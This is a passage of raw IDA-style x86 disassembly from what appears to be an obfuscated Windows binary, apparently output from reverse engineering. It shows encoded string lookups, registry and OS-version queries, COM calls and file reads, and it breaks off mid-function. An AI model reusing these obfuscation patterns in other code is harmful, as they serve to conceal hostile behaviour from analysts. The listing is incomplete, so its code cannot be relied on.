sub_443272	proc near		; CODE XREF: sub_446ED7+39p
		push	edi
		push	offset asc_55191A ; "\t"
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551260, eax
		mov	eax, dword_551168
		sub	eax, 2
		cmp	dword_551260, eax
		jnz	short loc_4432B1
		push	offset asc_55190D ; "\t"
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_551260, eax


loc_4432B1:				; CODE XREF: sub_443272+26j
		push	offset word_5518FE
		call	sub_43CAF7
		pop	ecx
		push	eax
		push	dword_551260
		call	ds:dword_44B1AC
		mov	ds:dword_4CC220, eax
		pop	edi
		retn
sub_443272	endp


; =============== S U B	R O U T	I N E =======================================



sub_4432D0	proc near		; DATA XREF: .data:005512DCo
		mov	eax, 80004001h
		retn	18h
sub_4432D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4432D8	proc near		; CODE XREF: sub_443843+139p

var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [edi],	0
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	ds:dword_54FF28
		cmp	[ebp+var_183], 1
		jnz	short loc_44331F
		push	offset dword_5518F8
		call	sub_43CAF7
		push	eax
		push	edi
		call	ds:dword_44802C
		add	esp, 0Ch


loc_44331F:				; CODE XREF: sub_4432D8+30j
		cmp	[ebp+var_183], 2
		jnz	short loc_44333D
		push	offset word_5518F2
		call	sub_43CAF7
		push	eax
		push	edi
		call	ds:dword_50E928
		add	esp, 0Ch


loc_44333D:				; CODE XREF: sub_4432D8+4Ej
		push	offset word_5518E6
		call	sub_43CAF7
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	ds:dword_50E928
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		push	offset byte_5518DF
		call	sub_43CAF7
		mov	ebx, dword_551108
		sub	ebx, 8
		push	ebx
		movsx	ebx, word_5510FC
		add	ebx, dword_5510BC
		sub	ebx, 2
		push	ebx
		lea	ebx, [ebp+var_19C]
		push	ebx
		lea	ebx, [ebp+var_19C]
		push	ebx
		lea	ebx, [ebp+var_1A0]
		push	ebx
		push	0FFh
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		call	ds:dword_4CE900
		push	offset byte_5518D7
		call	sub_43CAF7
		push	[ebp+var_1A0]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	ds:dword_50E928
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		mov	eax, dword_551170
		movsx	edx, word_551240
		add	eax, edx
		sub	eax, 9
		push	eax
		push	400h
		call	ds:dword_44B5A8
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		push	offset word_5518D2
		call	sub_43CAF7
		push	eax
		push	edi
		call	ds:dword_44802C
		mov	[ebp+var_198], 0FFh
		push	offset byte_5518A5
		call	sub_43CAF7
		mov	[ebp+var_1A8], eax
		push	offset asc_551898 ; "\t"
		call	sub_43CAF7
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1A8]
		push	ebx
		push	80000002h
		call	sub_442B18
		add	esp, 70h
		mov	esi, eax
		movsx	eax, word_551198
		cmp	esi, eax
		jnz	short loc_4434A5
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		add	esp, 8
		jmp	short loc_44351D
; ---------------------------------------------------------------------------


loc_4434A5:				; CODE XREF: sub_4432D8+1B8j
		mov	[ebp+var_198], 0FFh
		push	offset unk_551868
		call	sub_43CAF7
		mov	[ebp+var_1AC], eax
		push	offset byte_55185B
		call	sub_43CAF7
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1AC]
		push	ebx
		push	80000002h
		call	sub_442B18
		add	esp, 20h
		mov	esi, eax
		movsx	eax, word_551210
		movsx	edx, word_5511A4
		add	eax, edx
		sub	eax, 0Ah
		cmp	esi, eax
		jnz	short loc_44351D
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		add	esp, 8


loc_44351D:				; CODE XREF: sub_4432D8+1CBj
					; sub_4432D8+232j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4432D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_443522	proc near		; CODE XREF: sub_443843+F7p
		push	ebx
		push	esi
		movsx	esi, word_551164
		mov	ebx, dword_5510B0
		add	ebx, 6E0637BAh
		mov	ds:dword_54EAF8[esi*4],	ebx
		mov	esi, dword_551090
		add	esi, 7
		movsx	ebx, word_551104
		add	esi, ebx
		movsx	ebx, word_5510C4
		movsx	edx, word_551240
		lea	ebx, [ebx+edx+1E4E8736h]
		mov	ds:dword_54EAC0[esi*4],	ebx
		mov	esi, dword_5510B0
		add	esi, 2
		add	esi, dword_5510EC
		mov	ebx, dword_551150
		add	ebx, 3D357C67h
		mov	ds:dword_54EAC0[esi*4],	ebx
		movsx	esi, word_55113C
		add	esi, dword_5511F4
		mov	ebx, dword_551120
		add	ebx, 869AE873h
		add	ebx, dword_5511E4
		mov	ds:dword_54EA80[esi*4],	ebx
		movsx	esi, word_5510F8
		add	esi, dword_551238
		mov	ebx, dword_5510E0
		add	ebx, 0BFFD7E26h
		mov	ds:dword_54EAB0[esi*4],	ebx
		mov	ecx, dword_55119C
		sub	ecx, 3
		jmp	short loc_4435F1
; ---------------------------------------------------------------------------


loc_4435DF:				; CODE XREF: sub_443522+DFj
		movsx	esi, word_551190
		sub	esi, 8
		mov	ds:dword_54EA80[ecx*4],	esi
		inc	ecx


loc_4435F1:				; CODE XREF: sub_443522+BBj
		mov	eax, dword_551184
		add	eax, 8
		add	eax, dword_5511D8
		cmp	ecx, eax
		jb	short loc_4435DF
		movsx	ecx, word_5510A8
		mov	esi, dword_55111C
		add	esi, 323D4731h
		add	esi, dword_551184
		mov	ds:dword_54EAF4[ecx*4],	esi
		movsx	ecx, word_5511C4
		mov	esi, dword_5510D8
		add	esi, 505215A3h
		add	esi, dword_55122C
		mov	ds:dword_54EAB8[ecx*4],	esi
		mov	ecx, dword_5511B0
		movsx	esi, word_551118
		add	esi, 1AB051F1h
		mov	ds:dword_54EACC[ecx*4],	esi
		movsx	ecx, word_5511C4
		movsx	esi, word_551138
		add	ecx, esi
		mov	esi, dword_5511E4
		add	esi, 280E85C8h
		add	esi, dword_551098
		mov	ds:dword_54EAB8[ecx*4],	esi
		movsx	ecx, word_551128
		mov	esi, dword_5511EC
		add	esi, 0E383CCDCh
		mov	ds:dword_54EADC[ecx*4],	esi
		mov	ecx, dword_551224
		add	ecx, dword_551160
		mov	esi, dword_551248
		add	esi, 0D76ADDDAh
		add	esi, dword_5510B8
		mov	ds:dword_54EAB0[ecx*4],	esi
		mov	ecx, dword_5510A0
		movsx	esi, word_551118
		mov	ebx, dword_5510A4
		lea	esi, [esi+ebx+14F80509h]
		mov	ds:dword_54EAEC[ecx*4],	esi
		mov	ecx, dword_551178
		mov	esi, dword_551160
		add	esi, 0CC24407Bh
		mov	ds:dword_54EAA8[ecx*4],	esi
		mov	ecx, dword_551134
		add	ecx, dword_5511EC
		mov	esi, ebx
		add	esi, 1B77E1D9h
		movsx	ebx, word_5510CC
		add	esi, ebx
		mov	ds:dword_54EAC0[ecx*4],	esi
		movsx	ecx, word_551138
		mov	esi, dword_551124
		add	esi, 0Dh
		add	esi, dword_551168
		mov	ds:dword_54EA74[ecx*4],	esi
		movsx	ecx, word_551244
		movsx	esi, word_5511A4
		mov	ebx, dword_551184
		lea	esi, [esi+ebx-1E081165h]
		mov	ds:dword_54EAA4[ecx*4],	esi
		mov	ecx, dword_551238
		add	ecx, 6
		add	ecx, dword_5510E8
		mov	esi, dword_5510D4
		add	esi, 0D24B644Bh
		add	esi, dword_5511BC
		mov	ds:dword_54EAC0[ecx*4],	esi
		pop	esi
		pop	ebx
		retn
sub_443522	endp


; =============== S U B	R O U T	I N E =======================================



sub_44378D	proc near		; DATA XREF: .data:005512F8o
		mov	eax, 80004001h
		retn	8
sub_44378D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443795	proc near		; CODE XREF: sub_442B82+E8p
					; sub_442B82+166p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_4437AB:				; CODE XREF: sub_443795+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4437AB
		mov	[ebp+var_4], eax
		movsx	eax, word_551118
		mov	edi, eax
		add	edi, dword_55115C
		sub	edi, 0Ch
		jmp	short loc_443839
; ---------------------------------------------------------------------------


loc_4437C9:				; CODE XREF: sub_443795+A7j
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jb	short loc_4437DC
		mov	al, [esi+edi]
		cmp	al, 2Fh
		jz	short loc_4437DC
		cmp	al, 2Eh
		jnz	short loc_4437FB


loc_4437DC:				; CODE XREF: sub_443795+3Aj
					; sub_443795+41j
		push	offset byte_551855
		call	sub_43CAF7
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_50E928
		add	esp, 10h
		jmp	short loc_44382A
; ---------------------------------------------------------------------------


loc_4437FB:				; CODE XREF: sub_443795+45j
		push	offset dword_551850
		call	sub_43CAF7
		push	eax
		push	ebx
		call	ds:dword_44802C
		push	offset dword_551848
		call	sub_43CAF7
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_50E928
		add	esp, 1Ch


loc_44382A:				; CODE XREF: sub_443795+64j
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	ds:dword_44802C
		add	esp, 8
		inc	edi


loc_443839:				; CODE XREF: sub_443795+32j
		cmp	edi, [ebp+var_4]
		jb	short loc_4437C9
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443795	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443843	proc near		; CODE XREF: sub_446ED7+33Ap

var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_267		= byte ptr -267h
var_211		= byte ptr -211h
var_205		= byte ptr -205h
var_203		= byte ptr -203h
var_202		= byte ptr -202h
var_1FB		= byte ptr -1FBh
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		movsx	eax, word_5510FC
		sub	eax, 2
		push	eax
		mov	eax, dword_55115C
		sub	eax, 4
		push	eax
		push	1Ch
		mov	eax, dword_551224
		add	eax, dword_55124C
		sub	eax, 0Ah
		push	eax
		call	ds:dword_48BA00
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_43ECB6
		lea	eax, sub_43F41A
		mov	ds:dword_50E91C, eax
		lea	eax, sub_43D535
		mov	ds:dword_54EA74, eax
		lea	eax, sub_43F41A
		mov	ds:dword_48C1E0, eax
		lea	eax, sub_43DB30
		mov	ds:dword_48C1F0, eax
		push	offset byte_551835
		call	sub_43CAF7
		movsx	edi, word_55113C
		add	edi, dword_551204
		sub	edi, 5
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_44B0A0
		call	ds:dword_50E928
		push	offset word_551826
		call	sub_43CAF7
		mov	edi, dword_551140
		add	edi, dword_5510A4
		sub	edi, 2
		push	edi
		lea	edi, [ebp+var_267]
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CC230
		call	ds:dword_50E928
		lea	eax, dword_44B0A0
		mov	ds:dword_4CD820, eax
		lea	eax, dword_4CD830
		mov	ds:dword_449FD4, eax
		lea	eax, sub_43DD8A
		mov	ds:dword_48B9E4, eax
		call	sub_443522
		mov	eax, dword_551178
		inc	eax
		push	eax
		push	offset dword_48C200
		call	sub_43EDF9
		push	offset word_551812
		call	sub_43CAF7
		mov	edi, dword_5511F4
		sub	edi, 3
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CD830
		call	ds:dword_50E928
		push	offset dword_449FE0
		call	sub_4432D8
		push	offset byte_5517FF
		call	sub_43CAF7
		mov	edi, dword_55114C
		add	edi, 4
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CC440
		call	ds:dword_50E928
		lea	eax, sub_43F41A
		mov	ds:dword_449014, eax
		lea	eax, dword_4CC440
		mov	ds:dword_44801C, eax
		lea	eax, dword_54E970
		mov	dword_5512C4, eax
		push	offset sub_43EDC6
		call	sub_43EBAF
		push	offset sub_4467F2
		call	sub_43EBAF
		push	offset sub_44493B
		call	sub_43EBAF
		movsx	eax, word_55109C
		add	eax, dword_5511F4
		sub	eax, 5
		mov	ds:dword_44B5D0, eax
		mov	eax, dword_551248
		add	eax, dword_5511C0
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_203]
		push	eax
		call	sub_443E2E
		add	esp, 78h
		mov	eax, dword_55116C
		add	eax, dword_551098
		cmp	[ebp+eax+var_211], 64h
		jnz	short loc_443A7B
		movsx	eax, [ebp+var_202]
		mov	edx, dword_551168
		add	edx, 16h
		movsx	ecx, word_5511C4
		add	edx, ecx
		sub	eax, edx
		mov	[ebp+var_268], al
		movsx	eax, word_551218
		mov	ds:dword_44B5D0, eax
		movzx	eax, [ebp+var_268]
		push	eax
		mov	eax, dword_5510A4
		add	eax, dword_5511C8
		sub	eax, 0Fh
		push	eax
		call	sub_43F090
		add	esp, 8


loc_443A7B:				; CODE XREF: sub_443843+1EAj
		movsx	eax, word_551104
		add	eax, dword_55114C
		cmp	[ebp+eax+var_205], 67h
		jnz	short loc_443AD7
		mov	eax, dword_55114C
		mov	edx, eax
		sub	edx, 2
		mov	[ebp+eax+var_1FB], dl
		lea	eax, [ebp+var_202]
		push	eax
		call	ds:dword_44901C
		mov	[ebp+var_26C], eax
		push	eax
		push	offset dword_54E970
		call	sub_445E8D
		add	esp, 0Ch
		mov	eax, dword_5510E0
		add	eax, dword_551098
		sub	eax, 0Fh
		mov	ds:dword_44B5D0, eax


loc_443AD7:				; CODE XREF: sub_443843+24Dj
		pop	edi
		leave
		retn
sub_443843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443ADA	proc near		; CODE XREF: sub_43D3AD+FCp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		lea	eax, dword_54EA80
		mov	[ebp+var_48], eax
		movsx	eax, word_551244
		mov	edi, eax
		add	edi, dword_5510B8
		sub	edi, 0Bh
		jmp	short loc_443B11
; ---------------------------------------------------------------------------


loc_443B03:				; CODE XREF: sub_443ADA+43j
		mov	edx, edi
		shl	edx, 1
		mov	cx, [ebx+edi*2]
		mov	[ebp+edx+var_40], cx
		inc	edi


loc_443B11:				; CODE XREF: sub_443ADA+27j
		movsx	eax, word_551138
		add	eax, 1Dh
		cmp	edi, eax
		jb	short loc_443B03
		mov	eax, dword_5511BC
		sub	eax, 6
		mov	[ebp+var_44], eax


loc_443B2A:				; CODE XREF: sub_443ADA+6Bj
		inc	[ebp+var_44]
		mov	eax, [ebp+var_48]
		movzx	eax, word ptr [eax]
		cmp	[ebp+var_44], eax
		jnb	short loc_443B47
		push	ebx
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_43D0C6
		add	esp, 8
		jmp	short loc_443B2A
; ---------------------------------------------------------------------------


loc_443B47:				; CODE XREF: sub_443ADA+5Cj
		mov	esi, dword_5510B8
		sub	esi, 4
		jmp	short loc_443B63
; ---------------------------------------------------------------------------


loc_443B52:				; CODE XREF: sub_443ADA+93j
		mov	edx, esi
		shl	edx, 1
		mov	ecx, [ebp+arg_4]
		mov	dx, [ebp+edx+var_40]
		mov	[ecx+esi*2], dx
		inc	esi


loc_443B63:				; CODE XREF: sub_443ADA+76j
		mov	eax, dword_551120
		add	eax, 18h
		cmp	esi, eax
		jb	short loc_443B52
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443ADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443B74	proc near		; CODE XREF: sub_446ED7+344p

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_551218
		add	eax, dword_5511D4
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_443BB4
; ---------------------------------------------------------------------------


loc_443B92:				; CODE XREF: sub_443B74+4Bj
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		movsx	eax, word_551244
		sub	eax, 7
		mov	edx, [ebp+var_20]
		mov	ds:dword_4CC550[edx], eax
		inc	[ebp+var_4]


loc_443BB4:				; CODE XREF: sub_443B74+1Cj
		mov	eax, dword_5510B0
		add	eax, 5Fh
		cmp	[ebp+var_4], eax
		jb	short loc_443B92
		movsx	eax, word_5510D0
		sub	eax, 6
		push	eax
		call	ds:dword_44B084
		push	offset dword_5512E8
		push	offset dword_552A88
		push	7
		mov	eax, dword_5511B0
		sub	eax, 7
		push	eax
		push	offset dword_5529C8
		call	ds:dword_44B5D4
		mov	ebx, eax
		mov	eax, dword_551220
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_443DAD
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, dword_5512E8
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		mov	eax, dword_551204
		sub	eax, 2
		cmp	ebx, eax
		jnz	short loc_443C2E
		mov	eax, dword_551220
		sub	eax, 2
		cmp	[ebp+var_C], eax
		jnz	short loc_443C33


loc_443C2E:				; CODE XREF: sub_443B74+ABj
		jmp	loc_443D34
; ---------------------------------------------------------------------------


loc_443C33:				; CODE XREF: sub_443B74+B8j
		movsx	eax, word_5510C4
		add	eax, dword_5510E8
		sub	eax, 7
		mov	[ebp+var_8], eax
		jmp	loc_443D28
; ---------------------------------------------------------------------------


loc_443C4B:				; CODE XREF: sub_443B74+1BAj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		mov	[ebp+var_38], 3
		lea	eax, [ebp+var_3C]
		push	eax
		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_5512E8
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_5510F0
		add	eax, dword_55116C
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_443D25
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_552AA8
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_55122C
		add	eax, dword_5510D8
		sub	eax, 0Dh
		cmp	ebx, eax
		jnz	short loc_443D1C
		lea	eax, off_5512E4
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	offset dword_5529E8
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		cmp	ebx, dword_5510BC
		jnz	short loc_443D0A
		lea	eax, [ebp+var_48]
		push	eax
		push	offset dword_5529E8
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_43F748
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443D0A:				; CODE XREF: sub_443B74+171j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443D1C:				; CODE XREF: sub_443B74+142j
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443D25:				; CODE XREF: sub_443B74+114j
		inc	[ebp+var_8]


loc_443D28:				; CODE XREF: sub_443B74+D2j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_443C4B


loc_443D34:				; CODE XREF: sub_443B74:loc_443C2Ej
		lea	eax, off_551308
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_5529D8
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_5529D8
		push	[ebp+var_14]
		push	dword_5512E8
		call	sub_43F748
		add	esp, 10h
		mov	[ebp+var_18], eax
		mov	eax, dword_5511F8
		movsx	edx, word_551198
		add	eax, edx
		sub	eax, 4
		cmp	[ebp+var_18], eax
		jnz	short loc_443DAD
		mov	eax, dword_5512E8
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, dword_55114C
		sub	eax, 2
		mov	dword_5512E8, eax


loc_443DAD:				; CODE XREF: sub_443B74+8Aj
					; sub_443B74+21Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443B74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443DB2	proc near		; CODE XREF: sub_442B06+2p
					; sub_442B06+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		movsx	eax, word_5510FC
		sub	eax, 2
		push	eax
		mov	eax, dword_551224
		movsx	edx, word_551094
		add	eax, edx
		sub	eax, 3
		push	eax
		push	[ebp+arg_0]
		mov	eax, dword_551120
		sub	eax, 8
		push	eax
		call	ds:dword_48BA00
		mov	edi, eax
		or	edi, edi
		jnz	short loc_443E23
		push	offset word_5517FA
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	ds:dword_44802C
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_44077A
		add	esp, 18h


loc_443E23:				; CODE XREF: sub_443DB2+44j
		pop	edi
		leave
		retn
sub_443DB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_443E26	proc near		; DATA XREF: .data:005512BCo
		mov	eax, 80004001h
		retn	18h
sub_443E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443E2E	proc near		; CODE XREF: sub_443843+1CFp

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_4CC230
		call	ds:dword_54FB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_443E78
		mov	eax, dword_5510D8
		sub	eax, 6
		mov	edx, dword_5510A0
		add	edx, dword_5511BC
		sub	edx, 9
		mov	[esi+eax], dl
		jmp	loc_443F01
; ---------------------------------------------------------------------------


loc_443E78:				; CODE XREF: sub_443E2E+29j
		push	0
		movsx	eax, word_5511CC
		sub	eax, 9
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_54FF30
		mov	eax, dword_551184
		movsx	edx, word_5510B4
		add	eax, edx
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		movsx	eax, word_551148
		movsx	edx, word_551144
		lea	eax, [eax+edx+0Fh]
		push	eax
		push	esi
		push	edi
		call	ds:dword_448034
		mov	ebx, eax
		push	edi
		call	ds:dword_4CD948
		movsx	eax, word_551128
		movsx	edx, word_551118
		add	eax, edx
		sub	eax, 0Dh
		cmp	ebx, eax
		jnz	short loc_443F01
		mov	eax, dword_5510AC
		add	eax, dword_5511E4
		sub	eax, 0Bh
		movsx	edx, word_5510C4
		add	edx, dword_5510B0
		sub	edx, 0Bh
		mov	[esi+eax], dl


loc_443F01:				; CODE XREF: sub_443E2E+45j
					; sub_443E2E+B0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443E2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443F06	proc near		; CODE XREF: sub_44726D+1Ep
					; sub_44726D+259p

var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_1005C	= dword	ptr -1005Ch
var_10055	= byte ptr -10055h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10044	= dword	ptr -10044h
var_1003F	= byte ptr -1003Fh
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 10088h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		push	offset dword_5517EC
		call	sub_43FEC5
		pop	ecx
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_38], eax
		mov	[ebp+var_40], 8
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		mov	eax, dword_551188
		sub	eax, 5
		cmp	ebx, eax
		jz	short loc_443F62
		xor	eax, eax
		jmp	loc_44466C
; ---------------------------------------------------------------------------


loc_443F62:				; CODE XREF: sub_443F06+53j
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_552A38
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_5510EC
		dec	eax
		cmp	ebx, eax
		jnz	loc_444661
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_5510E0
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_444658
		mov	eax, dword_551158
		sub	eax, 3
		mov	[ebp+var_1C], eax
		jmp	loc_44464C
; ---------------------------------------------------------------------------


loc_443FB7:				; CODE XREF: sub_443F06+74Cj
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], 2
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_551158
		sub	eax, 3
		cmp	ebx, eax
		jnz	loc_444649
		mov	eax, dword_551204
		movsx	edx, word_5510CC
		add	eax, edx
		sub	eax, 3
		mov	[ebp+var_10044], eax
		lea	eax, [ebp+var_10044]
		push	eax
		push	offset dword_552A48
		mov	eax, [ebp+var_4]
		push	eax
